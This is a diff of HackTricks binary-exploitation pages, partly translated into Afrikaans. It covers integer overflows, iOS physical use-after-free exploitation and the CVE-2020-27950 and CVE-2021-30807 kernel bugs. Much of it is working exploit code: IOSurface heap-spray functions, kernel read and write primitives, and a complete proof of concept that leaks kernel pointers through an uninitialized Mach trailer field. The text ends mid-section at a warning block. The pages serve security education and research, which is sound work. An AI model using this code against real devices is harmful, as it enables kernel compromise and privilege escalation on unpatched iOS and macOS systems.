+**Patroon uit die werklike wêreld**
+
+go-panikint het 'n Cosmos SDK `uint64` pagination overflow blootgelê: `end := pageRequest.Offset + pageRequest.Limit` het verby `MaxUint64` gewrap, wat leë resultate teruggestuur het. Instrumentation het die stil wrap in 'n panic verander wat fuzzers kon minimaliseer.[[1]](#references)
+
+## ARM64
+
+Dit **verander nie in ARM64 nie**, soos jy in [**hierdie blogplasing**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/) kan sien.[[6]](#references)
+
+## Verwysings
+
+- [1] [Bespeur Go se stil arithmetic bugs met go-panikint](https://blog.trailofbits.com/2025/12/31/detect-gos-silent-arithmetic-bugs-with-go-panikint/)
+- [2] [go-panikint (compiler fork)](https://github.com/trailofbits/go-panikint)
+- [3] [Pixel 0-click – CVE-2025-54957 allocator wrap → heap overflow](https://projectzero.google/2026/01/pixel-0-click-part-1.html)
+- [4] [guyinatuxedo Nightmare – Integer overflow (int_overflow_post)](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
+- [5] [guyinatuxedo Nightmare – Integer exploitation puzzle](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
+- [6] [8ksec – ARM64 Reversing and Exploitation Part 8: Exploiting an Integer Overflow Vulnerability](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
+
+{{#include ../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/integer-overflow.md b/src/binary-exploitation/integer-overflow.md
deleted file mode 100644
index cf1a6ca4f62..00000000000
--- a/src/binary-exploitation/integer-overflow.md
+++ /dev/null
@@ -1,123 +0,0 @@
-# Integer Overflow
-
-{{#include ../banners/hacktricks-training.md}}
-
-## Basic Information
-
-At the heart of an **integer overflow** is the limitation imposed by the **size** of data types in computer programming and the **interpretation** of the data.
-
-For example, an **8-bit unsigned integer** can represent values from **0 to 255**. If you attempt to store the value 256 in an 8-bit unsigned integer, it wraps around to 0 due to the limitation of its storage capacity. Similarly, for a **16-bit unsigned integer**, which can hold values from **0 to 65,535**, adding 1 to 65,535 will wrap the value back to 0.
-
-Moreover, an **8-bit signed integer** can represent values from **-128 to 127**. This is because one bit is used to represent the sign (positive or negative), leaving 7 bits to represent the magnitude. The most negative number is represented as **-128** (binary `10000000`), and the most positive number is **127** (binary `01111111`).
-
-### Max values
-
-For potential **web vulnerabilities** it's very interesting to know the maximum supported values:
-
-{{#tabs}}
-{{#tab name="Rust"}}
-
-```rust
-fn main() {
-
- let mut quantity = 2147483647;
-
- let (mul_result, _) = i32::overflowing_mul(32767, quantity);
- let (add_result, _) = i32::overflowing_add(1, quantity);
-
- println!("{}", mul_result);
- println!("{}", add_result);
-}
-```
-
-{{#endtab}}
-
-{{#tab name="C"}}
-
-```c
-#include
-#include
-
-int main() {
- int a = INT_MAX;
- int b = 0;
- int c = 0;
-
- b = a * 100;
- c = a + 1;
-
- printf("%d\n", INT_MAX);
- printf("%d\n", b);
- printf("%d\n", c);
- return 0;
-}
-```
-
-{{#endtab}}
-{{#endtabs}}
-
-## Examples
-
-### Pure overflow
-
-The printed result will be 0 as we overflowed the char:
-
-```c
-#include
-
-int main() {
- unsigned char max = 255; // 8-bit unsigned integer
- unsigned char result = max + 1;
- printf("Result: %d\n", result); // Expected to overflow
- return 0;
-}
-```
-
-### Signed to Unsigned Conversion
-
-Consider a situation where a signed integer is read from user input and then used in a context that treats it as an unsigned integer, without proper validation:
-
-```c
-#include
-
-int main() {
- int userInput; // Signed integer
- printf("Enter a number: ");
- scanf("%d", &userInput);
-
- // Treating the signed input as unsigned without validation
- unsigned int processedInput = (unsigned int)userInput;
-
- // A condition that might not work as intended if userInput is negative
- if (processedInput > 1000) {
- printf("Processed Input is large: %u\n", processedInput);
- } else {
- printf("Processed Input is within range: %u\n", processedInput);
- }
-
- return 0;
-}
-```
-
-In this example, if a user inputs a negative number, it will be interpreted as a large unsigned integer due to the way binary values are interpreted, potentially leading to unexpected behavior.
-
-### Other Examples
-
-- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
- - Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection
-- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
-
- - Given a couple of numbers find out using z3 a new number that multiplied by the first one will give the second one:
-
- ```
- (((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
- ```
-
-- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
- - Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection and overwrite in the stack the next local variable and bypass both protections
-
-## ARM64
-
-This **doesn't change in ARM64** as you can see in [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
-
-{{#include ../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/ios-exploiting.md b/src/binary-exploitation/ios-exploiting.md
deleted file mode 100644
index dbf5dc0092b..00000000000
--- a/src/binary-exploitation/ios-exploiting.md
+++ /dev/null
@@ -1,212 +0,0 @@
-# iOS Exploiting
-
-## Physical use-after-free
-
-This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
-
-### Memory management in XNU
-
-The **virtual memory address space** for user processes on iOS spans from **0x0 to 0x8000000000**. However, these addresses don’t directly map to physical memory. Instead, the **kernel** uses **page tables** to translate virtual addresses into actual **physical addresses**.
-
-#### Levels of Page Tables in iOS
-
-Page tables are organized hierarchically in three levels:
-
-1. **L1 Page Table (Level 1)**:
- * Each entry here represents a large range of virtual memory.
- * It covers **0x1000000000 bytes** (or **256 GB**) of virtual memory.
-2. **L2 Page Table (Level 2)**:
- * An entry here represents a smaller region of virtual memory, specifically **0x2000000 bytes** (32 MB).
- * An L1 entry may point to an L2 table if it can't map the entire region itself.
-3. **L3 Page Table (Level 3)**:
- * This is the finest level, where each entry maps a single **4 KB** memory page.
- * An L2 entry may point to an L3 table if more granular control is needed.
-
-#### Mapping Virtual to Physical Memory
-
-* **Direct Mapping (Block Mapping)**:
- * Some entries in a page table directly **map a range of virtual addresses** to a contiguous range of physical addresses (like a shortcut).
-* **Pointer to Child Page Table**:
- * If finer control is needed, an entry in one level (e.g., L1) can point to a **child page table** at the next level (e.g., L2).
-
-#### Example: Mapping a Virtual Address
-
-Let’s say you try to access the virtual address **0x1000000000**:
-
-1. **L1 Table**:
- * The kernel checks the L1 page table entry corresponding to this virtual address. If it has a **pointer to an L2 page table**, it goes to that L2 table.
-2. **L2 Table**:
- * The kernel checks the L2 page table for a more detailed mapping. If this entry points to an **L3 page table**, it proceeds there.
-3. **L3 Table**:
- * The kernel looks up the final L3 entry, which points to the **physical address** of the actual memory page.
-
-#### Example of Address Mapping
-
-If you write the physical address **0x800004000** into the first index of the L2 table, then:
-
-* Virtual addresses from **0x1000000000** to **0x1002000000** map to physical addresses from **0x800004000** to **0x802004000**.
-* This is a **block mapping** at the L2 level.
-
-Alternatively, if the L2 entry points to an L3 table:
-
-* Each 4 KB page in the virtual address range **0x1000000000 -> 0x1002000000** would be mapped by individual entries in the L3 table.
-
-### Physical use-after-free
-
-A **physical use-after-free** (UAF) occurs when:
-
-1. A process **allocates** some memory as **readable and writable**.
-2. The **page tables** are updated to map this memory to a specific physical address that the process can access.
-3. The process **deallocates** (frees) the memory.
-4. However, due to a **bug**, the kernel **forgets to remove the mapping** from the page tables, even though it marks the corresponding physical memory as free.
-5. The kernel can then **reallocate this "freed" physical memory** for other purposes, like **kernel data**.
-6. Since the mapping wasn’t removed, the process can still **read and write** to this physical memory.
-
-This means the process can access **pages of kernel memory**, which could contain sensitive data or structures, potentially allowing an attacker to **manipulate kernel memory**.
-
-### Exploitation Strategy: Heap Spray
-
-Since the attacker can’t control which specific kernel pages will be allocated to freed memory, they use a technique called **heap spray**:
-
-1. The attacker **creates a large number of IOSurface objects** in kernel memory.
-2. Each IOSurface object contains a **magic value** in one of its fields, making it easy to identify.
-3. They **scan the freed pages** to see if any of these IOSurface objects landed on a freed page.
-4. When they find an IOSurface object on a freed page, they can use it to **read and write kernel memory**.
-
-More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
-
-### Step-by-Step Heap Spray Process
-
-1. **Spray IOSurface Objects**: The attacker creates many IOSurface objects with a special identifier ("magic value").
-2. **Scan Freed Pages**: They check if any of the objects have been allocated on a freed page.
-3. **Read/Write Kernel Memory**: By manipulating fields in the IOSurface object, they gain the ability to perform **arbitrary reads and writes** in kernel memory. This lets them:
- * Use one field to **read any 32-bit value** in kernel memory.
- * Use another field to **write 64-bit values**, achieving a stable **kernel read/write primitive**.
-
-Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for:
-
-```c
-void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
- if (*nClients >= 0x4000) return;
- for (int i = 0; i < nSurfaces; i++) {
- fast_create_args_t args;
- lock_result_t result;
-
- size_t size = IOSurfaceLockResultSize;
- args.address = 0;
- args.alloc_size = *nClients + 1;
- args.pixel_format = IOSURFACE_MAGIC;
-
- IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
- io_connect_t id = result.surface_id;
-
- (*clients)[*nClients] = id;
- *nClients = (*nClients) += 1;
- }
-}
-```
-
-Search for **`IOSurface`** objects in one freed physical page:
-
-```c
-int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
- io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
- int nSurfaceIDs = 0;
-
- for (int i = 0; i < 0x400; i++) {
- spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
-
- for (int j = 0; j < nPages; j++) {
- uint64_t start = puafPages[j];
- uint64_t stop = start + (pages(1) / 16);
-
- for (uint64_t k = start; k < stop; k += 8) {
- if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
- info.object = k;
- info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
- if (self_task) *self_task = iosurface_get_receiver(k);
- goto sprayDone;
- }
- }
- }
- }
-
-sprayDone:
- for (int i = 0; i < nSurfaceIDs; i++) {
- if (surfaceIDs[i] == info.surface) continue;
- iosurface_release(client, surfaceIDs[i]);
- }
- free(surfaceIDs);
-
- return 0;
-}
-```
-
-### Achieving Kernel Read/Write with IOSurface
-
-After achieving control over an IOSurface object in kernel memory (mapped to a freed physical page accessible from userspace), we can use it for **arbitrary kernel read and write operations**.
-
-**Key Fields in IOSurface**
-
-The IOSurface object has two crucial fields:
-
-1. **Use Count Pointer**: Allows a **32-bit read**.
-2. **Indexed Timestamp Pointer**: Allows a **64-bit write**.
-
-By overwriting these pointers, we redirect them to arbitrary addresses in kernel memory, enabling read/write capabilities.
-
-#### 32-Bit Kernel Read
-
-To perform a read:
-
-1. Overwrite the **use count pointer** to point to the target address minus a 0x14-byte offset.
-2. Use the `get_use_count` method to read the value at that address.
-
-```c
-uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
- uint64_t args[1] = {surfaceID};
- uint32_t size = 1;
- uint64_t out = 0;
- IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
- return (uint32_t)out;
-}
-
-uint32_t iosurface_kread32(uint64_t addr) {
- uint64_t orig = iosurface_get_use_count_pointer(info.object);
- iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
- uint32_t value = get_use_count(info.client, info.surface);
- iosurface_set_use_count_pointer(info.object, orig);
- return value;
-}
-```
-
-#### 64-Bit Kernel Write
-
-To perform a write:
-
-1. Overwrite the **indexed timestamp pointer** to the target address.
-2. Use the `set_indexed_timestamp` method to write a 64-bit value.
-
-```c
-void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
- uint64_t args[3] = {surfaceID, 0, value};
- IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
-}
-
-void iosurface_kwrite64(uint64_t addr, uint64_t value) {
- uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
- iosurface_set_indexed_timestamp_pointer(info.object, addr);
- set_indexed_timestamp(info.client, info.surface, value);
- iosurface_set_indexed_timestamp_pointer(info.object, orig);
-}
-```
-
-#### Exploit Flow Recap
-
-1. **Trigger Physical Use-After-Free**: Free pages are available for reuse.
-2. **Spray IOSurface Objects**: Allocate many IOSurface objects with a unique "magic value" in kernel memory.
-3. **Identify Accessible IOSurface**: Locate an IOSurface on a freed page you control.
-4. **Abuse Use-After-Free**: Modify pointers in the IOSurface object to enable arbitrary **kernel read/write** via IOSurface methods.
-
-With these primitives, the exploit provides controlled **32-bit reads** and **64-bit writes** to kernel memory. Further jailbreak steps could involve more stable read/write primitives, which may require bypassing additional protections (e.g., PPL on newer arm64e devices).
-
diff --git a/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md b/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md
new file mode 100644
index 00000000000..cb20a4ed5bc
--- /dev/null
+++ b/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md
@@ -0,0 +1,330 @@
+# CVE-2020-27950: Uninitialized Mach Message Trailer
+
+{{#include ../../banners/hacktricks-training.md}}
+
+
+## Die fout
+
+Synacktiv verskaf ’n gedetailleerde verduideliking van die kwesbaarheid; die volgende is ’n bondige opsomming.[[1]](#references)
+
+Elke Mach-boodskap wat die kernel ontvang, eindig met ’n **"trailer"**: ’n struct met veranderlike lengte en metadata (seqno, sender token, audit token, context, access control data, labels...). Die kernel **reserveer altyd die grootste moontlike trailer** (MAX_TRAILER_SIZE) in die boodskapbuffer, maar **initialiseer slegs sommige velde**, en **bepaal later watter trailergrootte teruggestuur moet word** op grond van **user-controlled receive options**.
+
+Hierdie is die relevante trailer-structs:
+```c
+typedef struct{
+mach_msg_trailer_type_t msgh_trailer_type;
+mach_msg_trailer_size_t msgh_trailer_size;
+} mach_msg_trailer_t;
+
+typedef struct{
+mach_msg_trailer_type_t msgh_trailer_type;
+mach_msg_trailer_size_t msgh_trailer_size;
+mach_port_seqno_t msgh_seqno;
+security_token_t msgh_sender;
+audit_token_t msgh_audit;
+mach_port_context_t msgh_context;
+int msgh_ad;
+msg_labels_t msgh_labels;
+} mach_msg_mac_trailer_t;
+
+#define MACH_MSG_TRAILER_MINIMUM_SIZE sizeof(mach_msg_trailer_t)
+typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
+#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
+```
+Wanneer die trailer-object gegenereer word, word slegs sommige velde geïnitialiseer, hoewel ruimte vir die maksimum trailer-grootte altyd gereserveer word:
+```c
+trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
+trailer->msgh_sender = current_thread()->task->sec_token;
+trailer->msgh_audit = current_thread()->task->audit_token;
+trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0;
+trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
+[...]
+trailer->msgh_labels.sender = 0;
+```
+Wanneer `mach_msg()` ’n Mach-boodskap ontvang, voeg `ipc_kmsg_add_trailer()` die trailer by. Hierdie funksie bereken die grootte van die trailer en inisialiseer bykomende velde:
+```c
+if (!(option & MACH_RCV_TRAILER_MASK)) { [3]
+return trailer->msgh_trailer_size;
+}
+
+trailer->msgh_seqno = seqno;
+trailer->msgh_context = context;
+trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);
+```
+Die `option`-parameter word deur die gebruiker beheer, dus **moet ’n waarde deurgegee word wat die `if`-kontrole slaag.**
+
+Om hierdie kontrole te slaag, moet ons ’n geldige ondersteunde `option` stuur:
+```c
+#define MACH_RCV_TRAILER_NULL 0
+#define MACH_RCV_TRAILER_SEQNO 1
+#define MACH_RCV_TRAILER_SENDER 2
+#define MACH_RCV_TRAILER_AUDIT 3
+#define MACH_RCV_TRAILER_CTX 4
+#define MACH_RCV_TRAILER_AV 7
+#define MACH_RCV_TRAILER_LABELS 8
+
+#define MACH_RCV_TRAILER_TYPE(x) (((x) & 0xf) << 28)
+#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24)
+#define MACH_RCV_TRAILER_MASK ((0xf << 24))
+```
+Omdat `MACH_RCV_TRAILER_MASK` slegs bisse masker en vergelyk, kan waardes tussen `0` en `8` hierdie validering slaag.
+
+As ons dan met die kode voortgaan, vind ons:
+```c
+if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) {
+trailer->msgh_ad = 0;
+}
+
+/*
+* The ipc_kmsg_t holds a reference to the label of a label
+* handle, not the port. We must get a reference to the port
+* and a send right to copyout to the receiver.
+*/
+
+if (option & MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_LABELS)) {
+trailer->msgh_labels.sender = 0;
+}
+
+done:
+#ifdef __arm64__
+ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread));
+#endif /* __arm64__ */
+
+return trailer->msgh_trailer_size;
+```
+As `option` groter as of gelyk aan `MACH_RCV_TRAILER_AV` (`7`) is, word die **`msgh_ad`**-veld na nul geïnisialiseer.
+
+As jy dit opgemerk het, was **`msgh_ad`** steeds die enigste veld van die trailer wat nie voorheen geïnisialiseer is nie en wat ’n leak uit geheue wat voorheen gebruik is, kon bevat.
+
+Om daardie inisialisering te vermy, stuur ’n `option`-waarde van `5` of `6` deur. Hierdie waardes slaag die eerste kontrole, maar kies nie ’n gedefinieerde trailer-tipe wat `msgh_ad` inisialiseer nie.
+
+### Basiese PoC
+
+Binne die [oorspronklike plasing](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) is daar ’n PoC om net ’n bietjie ewekansige data te lek.[[1]](#references)
+
+### Leak Kernel Address PoC
+
+Die oorspronklike plasing bevat ook ’n PoC om ’n kernel-adres te lek. Dit stuur ’n boodskap wat baie `mach_msg_port_descriptor_t`-strukture bevat. In user space is elke descriptor se `name`-veld ’n integer-poortnaam; tydens kernel copy-in word dit na ’n `ipc_port`-pointer opgelos. Deur baie descriptors in die kernel-boodskap te plaas, verhoog die kans dat ’n stale trailer-veld een van hierdie kernel-pointers openbaar.[[1]](#references)
+
+Kommentare is bygevoeg om die PoC makliker te volg:
+```c
+#include
+#include
+#include
+#include
+
+// Number of OOL port descriptors in the "big" message.
+// This layout aims to fit messages into kalloc.1024 (empirically good on impacted builds).
+#define LEAK_PORTS 50
+
+// "Big" message: many descriptors → larger descriptor array in kmsg
+typedef struct {
+mach_msg_header_t header;
+mach_msg_body_t body;
+mach_msg_port_descriptor_t sent_ports[LEAK_PORTS];
+} message_big_t;
+
+// "Small" message: fewer descriptors → leaves more room for the trailer
+// to overlap where descriptor pointers used to be in the reused kalloc chunk.
+typedef struct {
+mach_msg_header_t header;
+mach_msg_body_t body;
+mach_msg_port_descriptor_t sent_ports[LEAK_PORTS - 10];
+} message_small_t;
+
+int main(int argc, char *argv[]) {
+mach_port_t port; // our local receive port (target of sends)
+mach_port_t sent_port; // the port whose kernel address we want to leak
+
+/*
+* 1) Create a receive right and attach a send right so we can send to ourselves.
+* This gives us predictable control over ipc_kmsg allocations when we send.
+*/
+mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
+mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
+
+/*
+* 2) Create another receive port (sent_port). We'll reference this port
+* in OOL descriptors so the kernel stores pointers to its ipc_port
+* structure in the kmsg → those pointers are what we aim to leak.
+*/
+mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sent_port);
+mach_port_insert_right(mach_task_self(), sent_port, sent_port, MACH_MSG_TYPE_MAKE_SEND);
+
+printf("[*] Will get port %x address\n", sent_port);
+
+message_big_t *big_message = NULL;
+message_small_t *small_message = NULL;
+
+// Compute userland sizes of our message structs
+mach_msg_size_t big_size = (mach_msg_size_t)sizeof(*big_message);
+mach_msg_size_t small_size = (mach_msg_size_t)sizeof(*small_message);
+
+// Allocate user buffers for the two send messages (+MAX_TRAILER_SIZE for safety/margin)
+big_message = malloc(big_size + MAX_TRAILER_SIZE);
+small_message = malloc(small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);
+
+/*
+* 3) Prepare the "big" message:
+* - Complex bit set (has descriptors)
+* - 50 OOL port descriptors, all pointing to the same sent_port
+* When you send a Mach message with port descriptors, the kernel “copy-ins” the userland port names (integers in your process’s IPC space) into an in-kernel ipc_kmsg_t, and resolves each name to the actual kernel object (an ipc_port).
+* Inside the kernel message, the header/descriptor area holds object pointers, not user names. On the way out (to the receiver), XNU “copy-outs” and converts those pointers back into names. This is explicitly documented in the copyout path: “the remote/local port fields contain port names instead of object pointers” (meaning they were pointers in-kernel).
+*/
+printf("[*] Creating first kalloc.1024 ipc_kmsg\n");
+memset(big_message, 0, big_size + MAX_TRAILER_SIZE);
+
+big_message->header.msgh_remote_port = port; // send to our receive right
+big_message->header.msgh_size = big_size;
+big_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0)
+| MACH_MSGH_BITS_COMPLEX;
+big_message->body.msgh_descriptor_count = LEAK_PORTS;
+
+for (int i = 0; i < LEAK_PORTS; i++) {
+big_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR;
+big_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
+big_message->sent_ports[i].name = sent_port; // repeated to fill array with pointers
+}
+
+/*
+* 4) Prepare the "small" message:
+* - Fewer descriptors (LEAK_PORTS-10) so that, when the kalloc.1024 chunk is reused,
+* the trailer sits earlier and *overlaps* bytes where descriptor pointers lived.
+*/
+printf("[*] Creating second kalloc.1024 ipc_kmsg\n");
+memset(small_message, 0, small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);
+
+small_message->header.msgh_remote_port = port;
+small_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0)
+| MACH_MSGH_BITS_COMPLEX;
+small_message->body.msgh_descriptor_count = LEAK_PORTS - 10;
+
+for (int i = 0; i < LEAK_PORTS - 10; i++) {
+small_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR;
+small_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
+small_message->sent_ports[i].name = sent_port;
+}
+
+/*
+* 5) Receive buffer for reading back messages with trailers.
+* We'll request a *max-size* trailer via MACH_RCV_TRAILER_ELEMENTS(5).
+* On vulnerable kernels, field `msgh_ad` (in mac trailer) may be left uninitialized
+* if the requested elements value is < MACH_RCV_TRAILER_AV, causing stale bytes to leak.
+*/
+uint8_t *buffer = malloc(big_size + MAX_TRAILER_SIZE);
+mach_msg_mac_trailer_t *trailer; // interpret the tail as a "mac trailer" (format 0 / 64-bit variant internally)
+uintptr_t sent_port_address = 0; // we'll build the 64-bit pointer from two 4-byte leaks
+
+/*
+* ---------- Exploitation sequence ----------
+*
+* Step A: Send the "big" message → allocate a kalloc.1024 ipc_kmsg that contains many
+* kernel pointers (ipc_port*) in its descriptor array.
+*/
+printf("[*] Sending message 1\n");
+mach_msg(&big_message->header,
+MACH_SEND_MSG,
+big_size, // send size
+0, // no receive
+MACH_PORT_NULL,
+MACH_MSG_TIMEOUT_NONE,
+MACH_PORT_NULL);
+
+/*
+* Step B: Immediately receive/discard it with a zero-sized buffer.
+* This frees the kalloc chunk without copying descriptors back,
+* leaving the kernel pointers resident in freed memory (stale).
+*/
+printf("[*] Discarding message 1\n");
+mach_msg((mach_msg_header_t *)0,
+MACH_RCV_MSG, // try to receive
+0, // send size 0
+0, // recv size 0 (forces error/free path)
+port,
+MACH_MSG_TIMEOUT_NONE,
+MACH_PORT_NULL);
+
+/*
+* Step C: Reuse the same size-class with the "small" message (fewer descriptors).
+* We slightly bump msgh_size by +4 so that when the kernel appends
+* the trailer, the trailer's uninitialized field `msgh_ad` overlaps
+* the low 4 bytes of a stale ipc_port* pointer from the prior message.
+*/
+small_message->header.msgh_size = small_size + sizeof(uint32_t); // +4 to shift overlap window
+printf("[*] Sending message 2\n");
+mach_msg(&small_message->header,
+MACH_SEND_MSG,
+small_size + sizeof(uint32_t),
+0,
+MACH_PORT_NULL,
+MACH_MSG_TIMEOUT_NONE,
+MACH_PORT_NULL);
+
+/*
+* Step D: Receive message 2 and request an invalid trailer elements value (5).
+* - Bits 24..27 (MACH_RCV_TRAILER_MASK) are nonzero → the kernel computes a trailer.
+* - Elements=5 doesn't match any valid enum → REQUESTED_TRAILER_SIZE(...) falls back to max size.
+* - BUT init of certain fields (like `ad`) is guarded by >= MACH_RCV_TRAILER_AV (7),
+* so with 5, `msgh_ad` remains uninitialized → stale bytes leak.
+*/
+memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
+printf("[*] Reading back message 2\n");
+mach_msg((mach_msg_header_t *)buffer,
+MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), // core of CVE-2020-27950
+0,
+small_size + sizeof(uint32_t) + MAX_TRAILER_SIZE, // ensure room for max trailer
+port,
+MACH_MSG_TIMEOUT_NONE,
+MACH_PORT_NULL);
+
+// Trailer begins right after the message body we sent (small_size + 4)
+trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t));
+
+// Leak low 32 bits from msgh_ad (stale data → expected to be the low dword of an ipc_port*)
+sent_port_address |= (uint32_t)trailer->msgh_ad;
+
+/*
+* Step E: Repeat the A→D cycle but now shift by another +4 bytes.
+* This moves the overlap window so `msgh_ad` captures the high 4 bytes.
+*/
+printf("[*] Sending message 3\n");
+mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
+
+printf("[*] Discarding message 3\n");
+mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
+
+// add another +4 to msgh_size → total +8 shift from the baseline
+small_message->header.msgh_size = small_size + sizeof(uint32_t)*2;
+printf("[*] Sending message 4\n");
+mach_msg(&small_message->header,
+MACH_SEND_MSG,
+small_size + sizeof(uint32_t)*2,
+0,
+MACH_PORT_NULL,
+MACH_MSG_TIMEOUT_NONE,
+MACH_PORT_NULL);
+
+memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
+printf("[*] Reading back message 4\n");
+mach_msg((mach_msg_header_t *)buffer,
+MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5),
+0,
+small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE,
+port,
+MACH_MSG_TIMEOUT_NONE,
+MACH_PORT_NULL);
+
+trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)*2);
+
+// Combine the high 32 bits, reconstructing the full 64-bit kernel pointer
+sent_port_address |= ((uintptr_t)trailer->msgh_ad) << 32;
+
+printf("[+] Port %x has address %lX\n", sent_port, sent_port_address);
+
+return 0;
+}
+```
+## References
+
+- [1] [Synacktiv se blogplasing - iOS 1-dag jag: onthulling en uitbuiting van CVE-2020-27950 kernel memory leak](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak)
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md b/src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md
new file mode 100644
index 00000000000..6d87ad0ca02
--- /dev/null
+++ b/src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md
@@ -0,0 +1,299 @@
+# CVE-2021-30807: IOMobileFrameBuffer OOB
+
+{{#include ../../banners/hacktricks-training.md}}
+
+
+## Die fout
+
+Saar Amar se writeup verskaf die volledige analysis; die volgende is ’n bondige opsomming.[[1]](#references)
+
+- Die kwesbare code path is **external method #83** van die **IOMobileFramebuffer / AppleCLCD** user client: `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`. Dit ontvang ’n user-controlled parameter sonder om dit te valideer en stuur daardie waarde aan as **`scalar0`**.
+
+- Daardie method stuur aan na **`IOMobileFramebufferLegacy::get_displayed_surface(this, task*, out_id, scalar0)`**, waar **`scalar0`** (’n user-controlled **32-bit** waarde) as ’n **index** in ’n interne **array of pointers** gebruik word sonder **enige bounds check**:[[4]](#references)
+
+> `ptr = *(this + 0xA58 + scalar0 * 8);` → word as ’n **`IOSurface*`** aan `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)` deurgegee.\
+> **Resultaat:** **OOB pointer read & type confusion** op daardie array. As die pointer nie geldig is nie, veroorsaak die kernel deref ’n panic → **DoS**.
+
+> [!NOTE]
+> Dit is reggestel in **iOS/iPadOS 14.7.1**, **macOS Big Sur 11.5.1**, **watchOS 7.6.1**[[3]](#references)
+
+
+> [!WARNING]
